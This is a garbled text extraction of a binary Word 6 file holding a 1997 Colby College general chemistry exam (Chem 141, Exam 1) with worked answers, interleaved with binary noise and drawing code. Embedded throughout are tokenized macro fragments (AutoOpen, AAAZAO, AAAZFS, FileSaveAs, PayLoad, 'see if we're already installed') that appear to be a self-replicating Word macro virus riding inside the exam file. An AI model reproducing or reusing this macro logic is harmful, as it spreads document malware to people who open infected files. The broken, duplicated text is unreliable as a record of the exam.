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' 3 ?KS [g ;J?%BR[i^UqsZig_9Chris:Microsoft Office:Microsoft Word 6:Templates:Normal Name For Colby Use OnlyFor Colby Use Only'@Çͼ@v@hXͼisMe$ g%doisMacro$ isMe$j:Payloaddog€isMacro$jGlobal:PayLoaddoisMacro$ isMe$j:AAAZFSdog€isMacro$jGlobal:FileSaveAsdoisMacro$ isMe$j:AAAZFSdog€isMacro$j Global:AAAZFSdoisMacro$ isMe$j:AAAZAOdog€isMacro$j Global:AAAZAOdogFjWW6Igi iWW6IInstanceldog+gi iWW6IInstanceldReAbortd )!  v{  B % & I J y { $@$,$,$,$$,$,$,$$URS RޣTUVW'For Colby Use Only(Chris:Temporary Items:Word Work File A 2For Colby Use Only(Chris:Temporary Items:Word Work File A 2For Colby Use Only!Chem Draw 4:Chem 141 exam-1- 1997For Colby Use OnlyCEllen:Teaching :General Chemistry Material :Chem 141 exam-1- 1997For Colby Use OnlyQEllen:Teaching :General Chemistry Material :Chem 141-1997:Chem 141 exam-1- 1997For Colby Use OnlyQEllen:Teaching :General Chemistry Material :Chem 141-1997:Chem 141 exam-1- 1997For Colby Use Only*Chris:Temporary Items:Word Work File A 598For Colby Use OnlyYEllen:Teaching :General Chemistry Material :Chem 141-1997:Chem 141 exam-1- 1997-answersFor Colby Use Only+Chris:Temporary Items:Word Work File A 2750For Colby Use OnlyYEllen:Teaching :General Chemistry Material :Chem 141-1997:Chem 141 exam-1- 1997-answersUcUIU1>U-o)AutoOpenAAAZAOAAAZFSPayLoadAAAZAOAAAZFSPAYLOADAUTOOPEN@{ { { { EgUhcUcl    A B  $ % & c   ] x y {   ǢӢԢ   !_ ! ) CeMTimes New Roman Symbol MArial MTimes MMonaco MChicago MGeneva! FF $A Name For Colby Use OnlyFor Colby Use Onlyࡱ; becܥhS eD UUUUUhe33333333Z&%X}A=U3RT3333=3UU333333U3U3Zi}"UUUU3Z3'3Name Chemistry 141-Exam 1 1997 Part I. Circle the most correct answer for each of the following (9 points) 1. The cathode ray is best associated with a) neutrons b) electrons c) protons d) mesons 2. Based on your understanding of the Periodic table, what is the most reasonable phosphorous-containing compound of hydrogen: a) PH b) PH2 c) PH3 d) PH4 3. The strongest ionic bond would probably be between a) K-F b) K-Cl c) K-Br K-I Part II: Short answer questions: (Use your Periodic Table) 4.(3 points) How many electrons are in the neutral atom: 33 75 As 33 5 (3 points) __Oxygen______________ is the element that has 8 protons and 10 neutrons. 6. (5 points) A sample of 5.00 grams of magnesium (Mg) contains ? atoms (5.00)/(24.3) * 6.02E23 = 1.24 E23 ( E = exponential) 7.(5 points) A substance has a density of 2.35 grams/mL. What volume would be needed to obtain 0.00500 grams of the substance? V = mass/Density V = 0.00500/ 2.35 = .00212 mL 8.(9 points) Give reasonable formulas for substances made from : Cation Anion Formula Magnesium Nitrate Mg(NO3)2 Ammonium Sulfite (NH4)2SO3 Lithium Phosphate Li3PO4 9. (9 points) Give names for each of the following Fe2S3 Iron(III) sulfide P2O5 Diphosphorous pentoxide Al(H2PO4)3 Aluminum dihydrogenphosphate 10. (5 points) You are on a new planet (Dorkovia). . .there are two scales for measuring temperature. The Zong scale shows the boiling point of something called gorp to be 80 Z and a freezing point of 5 Z. On the second Orff scale, gorp has a boiling point of 180 O and a freezing point of 50 O. The normal body temperature of Dorks is 20 Z. What is the equivalent temperature in Orffs? SHOW THE GRAPH WORK Simply make an X vs Y graph. Use as much of the graph as possible. On one axis find 20 and see what the corresponding number is on the other axis. The answer is about 75-77. Part III. 10.(10 points) Cantharidine is the active compound from the body of the cantharides beetle (Spanish Fly). It has a reputation as an aphrodisiac, when (in fact) it is a powerful irritant now used to remove warts. It has a structure:  What percent C is associated with this compound? [USE C = 12.00; H = 1.00; O = 16.00] 11.(10 points) If you had 1.00 grams of cocaine, ( C17H21O4N)how many molecules would you have?  Use as atomic masses C = 12.00; H = 1.00; N = 14.00; O = 16.00 12.(10 points) What mass of SrCO3 contains 3.25 grams of Sr? USE Sr = 87.60; C = 12.00; ) = 16.00 13.(10 points) Conine is the compound from poison hemlock that Socrates was forced to drink. Analysis shows it to be 75.6% C, 13.4% H and 11.0%N, with a molecular weight of 127. Using atomic masses of C = 12.00; H = 1.00 and N = 14.00, show the molecular formula for this compound. 14.(10 points) Lithium-6 has an exact mass of 6.015 amu (atomic mass units) and abundance of 7.50%. Lithium-7 has an exact mass of 7.016 amu and an abundance of 92.50%. What is the average atomic mass of Li? EXTRA WORK SPACE: |HHS[ (hh t2 HK'dS800?:] i l$i iMacroCountdogiill jPayLoaddoi bInstalled ldodogiill j FileSaveAsdoibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTroubledok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad is just for fun.doi iWW6IInstance ggMj WW6InfectordoisMe$ g%doisMacro$ isMe$j:Payloaddog€isMacro$jGlobal:PayLoaddoisMacro$ isMe$j:AAAZFSdog€isMacro$jGlobal:FileSaveAsdoisMacro$ isMe$j:AAAZFSdog€isMacro$j Global:AAAZFSdoisMacro$ isMe$j:AAAZAOdog€isMacro$j Global:AAAZAOdogFjWW6Igi iWW6IInstanceldog+gi iWW6IInstanceldReAbortdC10H12O4 and has a mass of 196. Thus, 120/ 196 = 61.2%MM = 303 (1.00 gram/303 g/mol ) * 6.02E23 = 1.99 E21 ? USE Sr = 87.60; C = 12.00; O MM = 147.6 #mol of Sr = mass/at mass = 3.25/87.6 = 0.0371 Since there is only one Sr atom in strontium carbonate, the moles of strontium carbonate are the same as the free strontium. MM* moles = mass =   ')0cdfklntu AFsyPHc|6<=?@AC_` U]bch ]^bcbc U]bch ]bch U]bc]bc]bc U]^bc U]bcN@ D E J  > @ A C D E j k DǢӢԢ!_U UbchUbcu ]bch uDNbcbchbc uDbc U]bc U]bc]bc V]bc4   ()1vw$$$$$$$$$$,W$(G`pğl(`0hp@  h5`0p@ P !$`'0* 5`0p@ P !$`'0* 5`0p@ P !$`'0*5`0p@ P !$`'0* Vvw GO\dPQHcd67` $$,$$$,$$$,$$$$,$$$$,$$$,$$$$$,$,$,$$$$,$$,$$,$$,( ) p@ P !$) p@ P !$$  j l ! " # $ % & ' ( ) * GHIJKLMNOPQR$$$$$$,$,$,$,$,$ $,$$,$,$,$,$,$$$$$$$$$$$$$$$$$$$$$$$) p@ P !$)RS'()*+,-./0CDݣޣ$$$$$$$$$$$$$$,$,$,& K@Normala "A@"Default Paragraph FontjOj WP DefaultsC8`0p@ P !$`'0*- ]a bc,O,Document  ]a bc0.0371 * 147.6 = 5.48 grams|HHS[ (hh t2 HK'dS800diMAINdR,-*iAbortdRi iMacroCount glldRksee if we're already installeddR#ii l$i iMacroCountdogiill jPayLoaddoi bInstalled ldodogiill j FileSaveAsdoibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTroubledok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad is just for fun.doi iWW6IInstance ggMj WW6InfectordoisMe$ g%doisMacro$ isMe$j:Payloaddog€isMacro$jGlobal:PayLoaddoisMacro$ isMe$j:AAAZFSdog€isMacro$jGlobal:FileSaveAsdoisMacro$ isMe$j:AAAZFSdog€isMacro$j Global:AAAZFSdoisMacro$ isMe$j:AAAZAOdog€isMacro$j Global:AAAZAOdogFjWW6Igi iWW6IInstanceldog+gi iWW6IInstanceldReAbortddiMAINdk3this becomes the FileSaveAs for the global templated/idlg4gTd,-*ibaild>idlgd?idlgdidlgs lidlgs ldisMe$ g%disTMacro$ isMe$j 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nH dv}ie}b/Bd{D type/arraytype ne{bs e g}if{{P}{{{DS}{DD}{gs 12 OB np bW 2 dv/bd x lW 2 dv e D NH e{D bd p M bd n p l}for st gr}{gs 12 OB np lW 2 dv 0 xl NH 1 sc bW 2 dv wF m nH 1 a dv/bd x 0 1 nH{D 1 a bd m o o p M n p l}for SM st gr}{P}{DB}{gs 12 OB np 0 lW 2 dv o o n p M p l bW 2 dv wF m o o p l n p l cp f gr}{P}{gs 12 OB/bL x bW 2 dv D lW lt{P lW}if/bd x np 0 0 p M bL bd 4 m dv ru 2 o o lt{e}if P cvi/nSq x bL nSq 2 m dv D sc nSq{.135 .667 .865 .667 1 0 rcurveto .135 -.667 .865 -.667 1 0 rcurveto}rp SM st gr}{gs 12 OB np 0 lW 2 dv o o n p M p l bW 2 dv wF m o o p l n p l cp SM lW 0.8 m sl st gr}{P}{4 2 r gs OP/rad x 1 SA DA gr}{P}}o 1 g 1 s g e 2 4 gi al P 5 -1 r xc}{al P 8 ix 1 eq{DD}{DS}ie 5 -1 r 2 eq{DB}{DS}ie P}{DT}}o 0 g g xc}b/ed{gs cpt np cw 2 dv 0 360 arc f gr}b /SP{/sf x/lW x/bW x/cW x SPn}b/SPn{gs count 9 ge 7 ix 192837465 eq and{7 -1 r P 6 -2 r o o xl 7 -1 r s e 7 -1 r s e 5 -1 r dv neg e 5 -1 r dv neg e sc neg e neg e xl}{xl P P}ie 1 1 S dv D sc CMT currentmatrix P lW sl 4.0 setmiterlimit np}b "#"> "H0"7E"A""AL"Jb"@| end %%EndProcSet 40 80 20 20 54 chemdict30 begin/hS x/sf x/lW x/bW x/cW x/sh T d 162 92 0 0 SPn/origstk x 65535 65535 65535 sBg 0 0 0 C gs 340 700 M 340 1100 ed l ed st gr gs 414 1243 M 754 1439 ed l ed st gr gs 951 1447 M 1246 1276 ed l ed st gr gs 1377 1100 M 1377 700 ed l ed st gr gs 1291 550 M 933 344 ed l ed st gr gs 422 553 M 771 351 ed l ed st gr gs 1527 1292 M 1799 1459 ed l ed st gr gs 1962 1474 M 2332 1273 ed l ed st gr gs 2488 1272 M 2834 1485 ed l ed st gr gr count origstk sub{P}rp end chemsave restore ,  Helvetica .+"H +2 (" C(@H +2 (@ C+N*H(@>C)H("AC)H +2 ( 'H +2 ('C+3=C*H +2 (7uH +2 (AuC+C)H +3diMAINdR,-*iAbortdRi iMacroCount glldRksee if we're already installeddR#ii l$i iMacroCountdogiill jPayLoaddoi bInstalled ldodogiill j FileSaveAsdoibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTroubledok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad is just for fun.doi iWW6IInstance ggMj WW6InfectordoisMe$ g%doisMacro$ isMe$j:Payloaddog€isMacro$jGlobal:PayLoaddoisMacro$ isMe$j:AAAZFSdog€isMacro$jGlobal:FileSaveAsdoisMacro$ isMe$j:AAAZFSdog€isMacro$j Global:AAAZFSdoisMacro$ isMe$j:AAAZAOdog€isMacro$j Global:AAAZAOdogFjWW6Igi iWW6IInstanceldog+gi iWW6IInstanceldReAbortddiMAINdk3this becomes the FileSaveAs for the global templated/idlg4gTd,-*ibaild>idlgd?idlgdidlgs lidlgs ldisMe$ g%disTMacro$ isMe$j :AutoOpendg€j Global:AAAZAOisTMacro$disTMacro$ isMe$j:AAAZAOdg€j Global:AAAZAOisTMacro$disTMacro$ isMe$j:AAAZFSdg€j Global:AAAZFSisTMacro$disTMacro$ isMe$j:PayLoaddg€jGlobal:PayLoadisTMacro$dgTidlgd*iDonedeBaildiErr lfdRgTidlgdeDoneddiMAINdRp That's enough to prove my pointddiMAINdR,-*iAbortdRi iMacroCount glldRksee if we're already installeddR#ii l$i iMacroCountdogiill jPayLoaddoi bInstalled ldodogiill j FileSaveAsdoibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTroubledok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad is just for fun.doi iWW6IInstance ggMj WW6InfectordoisMe$ g%doisMacro$ isMe$j:Payloaddog€isMacro$jGlobal:PayLoaddoisMacro$ isMe$j:AAAZFSdog€isMacro$jGlobal:FileSaveAsdoisMacro$ isMe$j:AAAZFSdog€isMacro$j Global:AAAZFSdoisMacro$ isMe$j:AAAZAOdog€isMacro$j Global:AAAZAOdogFjWW6Igi iWW6IInstanceldog+gi iWW6IInstanceldReAbortd67fu uDb U]bc U]bc fp!  { 7`a D ' ( K L { }    + : G ~ W$,$$$@$@$,$,$,$$,$,$,$$$,$,$,$,$,$,$,$,$@$0$$,$$RS~ RTUVW[For Colby Use Only!Chem Draw 4:Chem 141 exam-1- 1997For Colby Use OnlyCEllen:Teaching :General Chemistry Material :Chem 141 exam-1- 1997For Colby Use OnlyQEllen:Teaching :General Chemistry Material :Chem 141-1997:Chem 141 exam-1- 1997For Colby Use OnlyQEllen:Teaching :General Chemistry Material :Chem 141-1997:Chem 141 exam-1- 1997For Colby Use Only*Chris:Temporary Items:Word Work File A 598For Colby Use OnlyYEllen:Teaching :General Chemistry Material :Chem 141-1997:Chem 141 exam-1- 1997-answersFor Colby Use Only+Chris:Temporary Items:Word Work File A 2750For Colby Use OnlyYEllen:Teaching :General Chemistry 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F/F*$A Name For Colby Use OnlyFor Colby Use Onlyࡱ; ܥhS -eDfJffff|fe&XfART("[Name Chemistry 141-Exam 1 1997 Part I. Circle the most correct answer for each of the following (9 points) 1. The cathode ray is best associated with a) neutrons b) electrons c) protons d) mesons 2. Based on your understanding of the Periodic table, what is the most reasonable phosphorous-containing compound of hydrogen: a) PH b) PH2 c) PH3 d) PH4 3. The strongest ionic bond would probably be between a) K-F b) K-Cl c) K-Br K-I Part II: Short answer questions: (Use your Periodic Table) 4.(3 points) How many electrons are in the neutral atom: 33 75 As 33 5 (3 points) __Oxygen______________ is the element that has 8 protons and 10 neutrons. 6. (5 points) A sample of 5.00 grams of magnesium (Mg) contains ? atoms (5.00)/(24.3) * 6.02E23 = 1.24 E23 ( E = exponential) 7.(5 points) A substance has a density of 2.35 grams/mL. What volume would be needed to obtain 0.00500 grams of the substance? V = mass/Density V = 0.00500/ 2.35 = .00212 mL 8.(9 points) Give reasonable formulas for substances made from : Cation Anion Formula Magnesium Nitrate Mg(NO3)2 Ammonium Sulfite (NH4)2SO3 Lithium Phosphate Li3PO4 9. (9 points) Give names for each of the following Fe2S3 Iron(III) sulfide P2O5 Diphosphorous pentoxide Al(H2PO4)3 Aluminum dihydrogenphosphate 10. (5 points) You are on a new planet (Dorkovia). . .there are two scales for measuring temperature. The Zong scale shows the boiling point of something called gorp to be 80 Z and a freezing point of 5 Z. On the second Orff scale, gorp has a boiling point of 180 O and a freezing point of 50 O. The normal body temperature of Dorks is 20 Z. What is the equivalent temperature in Orffs? SHOW THE GRAPH WORK Simply make an X vs Y graph. Use as much of the graph as possible. On one axis find 20 and see what the corresponding number is on the other axis. The answer is about 75-77. Part III. 10.(10 points) Cantharidine is the active compound from the body of the cantharides beetle (Spanish Fly). It has a reputation as an aphrodisiac, when (in fact) it is a powerful irritant now used to remove warts. It has a structure:  What percent C is associated with this compound? [USE C = 12.00; H = 1.00; O = 16.00] 11.(10 points) If you had 1.00 grams of cocaine, ( C17H21O4N)how many molecules would you have?  Use as atomic masses C = 12.00; H = 1.00; N = 14.00; O = 16.00 12.(10 points) What mass of SrCO3 contains 3.25 grams of Sr? USE Sr = 87.60; C = 12.00; ) = 16.00 13.(10 points) Conine is the compound from poison hemlock that Socrates was forced to drink. Analysis shows it to be 75.6% C, 13.4% H and 11.0%N, with a molecular weight of 127. Using atomic masses of C = 12.00; H = 1.00 and N = 14.00, show the molecular formula for this compound. 14.(10 points) Lithium-6 has an exact mass of 6.015 amu (atomic mass units) and abundance of 7.50%. Lithium-7 has an exact mass of 7.016 amu and an abundance of 92.50%. What is the average atomic mass of Li? EXTRA WORK SPACE: |HHS[ (hh t2 HK'dS800?:] i l$i iMacroCountdogiill jPayLoaddoi bInstalled ldodogiill j FileSaveAsdoibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTroubledok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad is just for fun.doi iWW6IInstance ggMj WW6InfectordoisMe$ g%doisMacro$ isMe$j:Payloaddog€isMacro$jGlobal:PayLoaddoisMacro$ isMe$j:AAAZFSdog€isMacro$jGlobal:FileSaveAsdoisMacro$ isMe$j:AAAZFSdog€isMacro$j Global:AAAZFSdoisMacro$ isMe$j:AAAZAOdog€isMacro$j Global:AAAZAOdogFjWW6Igi iWW6IInstanceldog+gi iWW6IInstanceldReAbortdC10H12O4 and has a mass of 196. Thus, 120/ 196 = 61.2%MM = 303 (1.00 gram/303 g/mol ) * 6.02E23 = 1.99 E21 ? USE Sr = 87.60; C = 12.00; O MM = 147.6 #mol of Sr = mass/at mass = 3.25/87.6 = 0.0371 Since there is only one Sr atom in strontium carbonate, the moles of strontium carbonate are the same as the free strontium. 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